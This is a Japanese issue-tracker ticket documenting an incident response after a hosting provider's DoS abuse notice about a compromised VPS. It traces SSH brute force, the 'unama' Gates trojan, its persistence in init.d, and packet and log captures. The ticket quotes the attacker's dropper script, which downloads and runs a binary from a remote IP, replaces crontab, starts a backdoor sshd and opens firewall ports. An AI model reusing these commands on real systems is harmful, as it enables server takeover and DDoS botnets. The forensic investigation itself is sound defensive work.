ブログロール - サポート #603
ハッキング調査 - FIGHT AGAINST UNAMA

2015/12/11 18:27 - 山本 義治

ステータス:	新規	**開始日:**	2015/12/11
優先度:	通常	**期日:**	
担当者:	山本 義治	**進捗 %:**	0%
カテゴリ:		**予定工数:**	0.00時間
対象バージョン:		**作業時間の記録:**	0.00時間

説明

Forwarded by myoffice@i-hearts.jp
---------- Original Message ----------
From: abuse@sakura.ad.jp
To: myoffice@i-hearts.jp
Date: Fri, 11 Dec 2015 15:53:47 +0900
Subject: 【重要：要返信】 ご利用サービスについて(15-A6364-01)

■ご連絡日 [2015-12-11]

ご契約者：アイハーツ株式会社 片山 美樹 様
IPアドレス：[49.212.176.26]

平素は弊社サービスをご利用いただき、誠にありがとうございます。
さくらインターネットabuse対策チームでございます。

ご利用中のサーバ(49.212.176.26)から外部へ向けて、DoS攻撃と思わしき
不審なトラフィックの送出が検出された為、ご連絡を差し上げました。

本件にお心あたりがない場合は、お客様のサーバが第三者に不正に
利用されている可能性があり、適切な対応なく運用を継続した場合、
該当サーバが外部ネットワークからのDoS攻撃の対象とされ、
弊社ネットワークの通信品質の低下、障害の発生等、他のお客様の
ご利用サービスへの影響が生じるといったおそれもございます。

お客様におかれましては、OS再インストールや原因調査および
調査結果に基づく適切な措置の実施等、本事象解消のために必要な
措置を実施いただいたうえ、その結果について本メール返信にて
ご報告いただけますよう、お願いいたします。

「OS再インストール」の詳細については、以下URLのページを参照下さい。

▼ さくらのVPS OS再インストール
https://help.sakura.ad.jp/app/answers/detail/a_id/2408

本件に関しまして、2015/12/15をご対応期限とさせていただきます。

なお、期限までのご報告が確認されなかったできない場合は、被害拡大防止の為、
ご利用サービスに対する通信停止措置を実施させていただきます。

また、上記期限に関わらず、サービス提供そのものに深刻な影響が及ぶ可能性が
あると弊社で判断した場合については、期限前であっても通信停止措置を

実施させていただく場合がございますので、予めご了承願います。

以下、弊社にて検知したネットワークログの一部となります。

ログの日時：12/8
18:22:01.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 27628+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 49949+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 123.151.182.52.53: 63112+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 41317+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 116.211.121.145.53: 15640+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 116.211.121.145.53: 47766+ A? rp2.zhuquzhou.com. (35)
18:22:01.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 61053+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 116.211.121.145.53: 674+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 5797+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 113.207.76.125.53: 21441+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 116.211.121.145.53: 33825+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 123.151.182.52.53: 17691+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 123.151.182.52.53: 41167+ A? rp2.zhuquzhou.com. (35)
18:22:02.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 36511+ A? rp2.zhuquzhou.com. (35)
18:22:03.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 52262+ A? rp2.zhuquzhou.com. (35)
18:22:03.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 46898+ A? rp2.zhuquzhou.com. (35)
18:22:03.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 49482+ A? rp2.zhuquzhou.com. (35)
18:22:04.000000 IP 49.212.176.26.44233 > 113.207.76.124.53: 30985+ A? rp2.zhuquzhou.com. (35)
18:22:04.000000 IP 49.212.176.26.44233 > 113.207.76.125.53: 41241+ A? rp2.zhuquzhou.com. (35)

履歴

#1 - 2015/12/11 19:45 - 山本 義治

[root@www14012uf admin]# top

top - 17:19:10 up 451 days, 3:36, 2 users, load average: 0.18, 0.20, 0.18
Tasks: 175 total, 3 running, 172 sleeping, 0 stopped, 0 zombie
Cpu(s): 10.4%us, 2.4%sy, 0.0%ni, 86.8%id, 0.0%wa, 0.0%hi, 0.4%si, 0.0%st
Mem: 1922596k total, 1612796k used, 309800k free, 79808k buffers
Swap: 2097144k total, 372396k used, 1724748k free, 1095004k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

4128 root 20 0 103m 2776 444 S 8.6 0.1 330:24.46 unama

28599 apache 20 0 351m 22m 12m S 5.6 1.2 0:06.40 httpd

怪しいプロセス発見

[root@www14012uf admin]# ps ax ¦ grep unama
4128 ? Ssl 330:27 /bin/unama
30088 pts/1 D+ 0:00 grep unama

[root@www14012uf admin]# ps -eo lstart,pid,args ¦ grep unama
Tue Dec 8 02:41:03 2015 4128 /bin/unama
Fri Dec 11 18:13:00 2015 5814 grep unama

12/8 2:41から実行されている

[root@www14012uf admin]# ll /bin/unama
-rwxrwxrwx 1 root root 1223123 11月 18 01:07 2015 unama

root権限の実行ファイルが...

パケットキャプチャ
[root@www14012uf admin]# tcpdump -s0 -i eth0 -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
18:02:18.197005 IP www14012uf.sakura.ne.jp.34395 > 140.205.228.11.domain: 50280+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 e7eb 31d4 b01a E..:.....1...
    0x0010: 8ccd e40b 865b 0035 0026 52ff c468 0100 .....[.5.&R..h..
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197135 IP www14012uf.sakura.ne.jp.34395 > 140.205.228.21.domain: 38674+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 e7e1 31d4 b01a E..:.....1...
    0x0010: 8ccd e415 865b 0035 0026 5309 9712 0100 .....[.5.&S.....
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197138 IP www14012uf.sakura.ne.jp.34395 > 140.205.81.11.domain: 64773+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 7aec 31d4 b01a E..:.....z.1...
    0x0010: 8ccd 510b 865b 0035 0026 bffe fd05 0100 ..Q..[.5.&......
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197140 IP www14012uf.sakura.ne.jp.34395 > 140.205.81.21.domain: 65028+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 7ae2 31d4 b01a E..:.....z.1...
    0x0010: 8ccd 5115 865b 0035 0026 c008 fe04 0100 ..Q..[.5.&......
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197142 IP www14012uf.sakura.ne.jp.34395 > 42.120.221.11.domain: 52776+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 5141 31d4 b01a E..:.....QA1...
    0x0010: 2a78 dd0b 865b 0035 0026 e9a9 ce28 0100 *x...[.5.&...(..
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197144 IP www14012uf.sakura.ne.jp.34395 > 42.120.221.21.domain: 37788+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 5137 31d4 b01a E..:.....Q71...
    0x0010: 2a78 dd15 865b 0035 0026 e9b3 939c 0100 *x...[.5.&......
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....
18:02:18.197146 IP www14012uf.sakura.ne.jp.34395 > 140.205.228.11.domain: 28031+ A? pianyiyao.cn. (30)
    0x0000: 4500 003a 0000 4000 4011 e7eb 31d4 b01a E..:.....1...
    0x0010: 8ccd e40b 865b 0035 0026 52ff 6d7f 0100 .....[.5.&R.m...
    0x0020: 0001 0000 0000 0000 0970 6961 6e79 6979 ....pianyiy
    0x0030: 616f 0263 6e00 0001 0001   ao.cn.....

中国のサーバーに通信している...

とりあえずプロセスを殺す

[root@www14012uf admin]# kill -9 4128

[root@www14012uf admin]# tail -20000 /var/log/secure > secure.log
    3511 Dec 8 02:06:59 www14012uf sshd?31389?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=

rhost=37.35.2.196 user=root
3512 Dec 8 02:07:00 www14012uf sshd?31389?: Failed password for root from 37.35.2.196 port 25907 ssh2
3513 Dec 8 02:07:00 www14012uf sshd?31390?: Received disconnect from 37.35.2.196: 11: Bye Bye
3514 Dec 8 02:07:02 www14012uf sshd?31411?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3515 Dec 8 02:07:04 www14012uf sshd?31411?: Failed password for root from 37.35.2.196 port 27793 ssh2
3516 Dec 8 02:07:05 www14012uf sshd?31412?: Received disconnect from 37.35.2.196: 11: Bye Bye
3517 Dec 8 02:07:06 www14012uf sshd?31413?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3518 Dec 8 02:07:08 www14012uf sshd?31413?: Failed password for root from 37.35.2.196 port 29870 ssh2
3519 Dec 8 02:07:08 www14012uf sshd?31414?: Received disconnect from 37.35.2.196: 11: Bye Bye
3520 Dec 8 02:07:10 www14012uf sshd?31415?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3521 Dec 8 02:07:12 www14012uf sshd?31415?: Failed password for root from 37.35.2.196 port 31910 ssh2
3522 Dec 8 02:07:13 www14012uf sshd?31416?: Received disconnect from 37.35.2.196: 11: Bye Bye
3523 Dec 8 02:07:14 www14012uf sshd?31417?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3524 Dec 8 02:07:16 www14012uf sshd?31417?: Failed password for root from 37.35.2.196 port 34170 ssh2
3525 Dec 8 02:07:16 www14012uf sshd?31418?: Received disconnect from 37.35.2.196: 11: Bye Bye
3526 Dec 8 02:07:18 www14012uf sshd?31419?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3527 Dec 8 02:07:20 www14012uf sshd?31419?: Failed password for root from 37.35.2.196 port 36345 ssh2
3528 Dec 8 02:07:20 www14012uf sshd?31420?: Received disconnect from 37.35.2.196: 11: Bye Bye
3529 Dec 8 02:07:22 www14012uf sshd?31421?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3530 Dec 8 02:07:24 www14012uf sshd?31421?: Failed password for root from 37.35.2.196 port 38233 ssh2
3531 Dec 8 02:07:24 www14012uf sshd?31422?: Received disconnect from 37.35.2.196: 11: Bye Bye
3532 Dec 8 02:07:26 www14012uf sshd?31424?: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=37.35.2.196 user=root
3533 Dec 8 02:07:28 www14012uf sshd?31424?: Failed password for root from 37.35.2.196 port 40473 ssh2
3534 Dec 8 02:07:28 www14012uf sshd?31425?: Received disconnect from 37.35.2.196: 11: Bye Bye

rootログインアタックされている
これは他のサーバーも同様にアタックされるリスクは同じ

unama実行ファイルを削除してrootパス変更

[root@www14012uf admin]# find / -name "*unama*" -ls
6553613 1196 -rwxrwxrwx   1 root   root   1223123 12月 11 18:23 /bin/unama

[root@www14012uf admin]# grep -R "unama" /var/www/

[root@www14012uf admin]# ll -R /var/www/ ¦ grep "12月*2015"

#2 - 2015/12/11 21:11 - 山本 義治

[root@www14012uf admin]# ll /tmp/
合計 3140
~~rwxr-xr-x 1 root   root   5 12月 11 20:02 2015 gates.lod~~
~~srwxrwxrwx 1 mongod mongod   0 6月 4 18:54 2015 mongodb-27017.sock~~
~~-rwxr-xr-x 1 root   root   5 12月 11 20:02 2015 moni.lod~~
~~-rw-r--r-~~ 1 root   root   0 12月 8 02:41 2015 myou.file

~~rwxrwxrwx 1 root root 528 12月 7 01:19 2015 rcs.sh~~
~~-rw-r--r-~~ 1 root root 528 12月 7 01:19 2015 rcs.sh.1
~~rw-r--r-~~ 1 root root 528 12月 7 01:19 2015 rcs.sh.10
~~rw-r--r-~~ 1 root root 528 12月 7 01:19 2015 rcs.sh.100
...
lrwxrwxrwx 1 root root 14 12月 8 02:41 2015 su -> /usr/sbin/sshd
-rwxrwxrwx 1 root root 1223123 12月 11 19:48 2015 unama

[root@www14012uf admin]# ll /bin/ ¦ grep 2015
~~rw-r--r-~~ 1 root root 73 12月 11 20:02 2015 conf.n
-rwxr-xr-x 1 root root 1223123 12月 11 20:02 2015 netstat
-rwxr-xr-x 1 root root 1223123 12月 11 20:02 2015 ps
-rwxr-xr-x 1 root root 1223123 12月 11 20:02 2015 unama

[root@www14012uf admin]# ll /usr/bin/ ¦ grep 2015
drwxr-xr-x 2 root root 4096 12月 8 02:41 2015 bsd-port
drwxr-xr-x 2 root root 4096 12月 8 02:41 2015 dpkgd

[root@www14012uf logs]# cat /tmp/rcs.sh.1
rm -rf shell.sh
wget -P /bin http://173.254.230.36:8080/unama
chmod 777 /bin/unama
nohup /bin/unama > /tmp/myou.file 2>&1
rm -rf /etc/crontab
wget -P /etc http://173.254.230.84:8080/crontab
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=3307
iptables -A INPUT -s 45.34.1.151 -p tcp --dport 6379 -j ACCEPT
iptables -A OUTPUT -d 45.34.1.151 -p tcp --sport 6379 -j ACCEPT
iptables -A INPUT -s 45.34.1.151 -p tcp --dport 3307 -j ACCEPT
iptables -A OUTPUT -d 45.34.1.151 -p tcp --sport 3307 -j ACCEPT
/etc/rc.d/init.d/iptables save

#3 - 2015/12/14 13:31 - 山本 義治

[root@localhost admin]# ll /etc/init.d/ ¦ grep 2015
-rwxr-xr-x 1 root root 23 12月 14 12:33 2015 DbSecuritySpt
-rwxr-xr-x 1 root root 2644 5月 20 00:25 2015 mongod
-rwxr-xr-x 1 root root 1702 6月 25 15:23 2015 redis_6379
-rwxr-xr-x 1 root root 36 12月 14 12:33 2015 selinux
[root@localhost admin]# cat /etc/init.d/DbSecuritySpt
#!/bin/bash
/bin/unama
[root@localhost admin]# cat /etc/init.d/selinux
#!/bin/bash
/usr/bin/bsd-port/getty
[root@localhost admin]# ll /usr/bin/bsd-port/getty
-rwxr-xr-x 1 root root 1223123 12月 14 12:33 2015 /usr/bin/bsd-port/getty

Linux.BackDoor.Gates.5―また新たなLinuxトロイの木馬
http://news.drweb.co.jp/show/?i=744&lng=ja&c=2

#4 - 2015/12/14 13:50 - 山本 義治

https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/

SSHへのブルートフォースアタックしてrootパス奪取
↓
トロイの木馬スクリプト埋め込み
↓
C&Cサーバーへ情報送信
↓
C&Cサーバー経由で下記ディレクトリに実行ファイル設置
/etc/init.d/
/etc/cron.d/
/boot/
↓
実行ファイルをデーモンプロセスとして起動し、メインタスク実行

#5 - 2015/12/14 13:51 - 山本 義治

http://logic.moo.jp/data/archives/644.html

#6 - 2015/12/14 13:52 - 山本 義治

https://dogmap.jp/2011/05/12/vps-security/

#7 - 2015/12/16 17:09 - 山本 義治

- 題名 を ハッキング調査 から ハッキング調査 - FIGHT AGAINST UNAMA に変更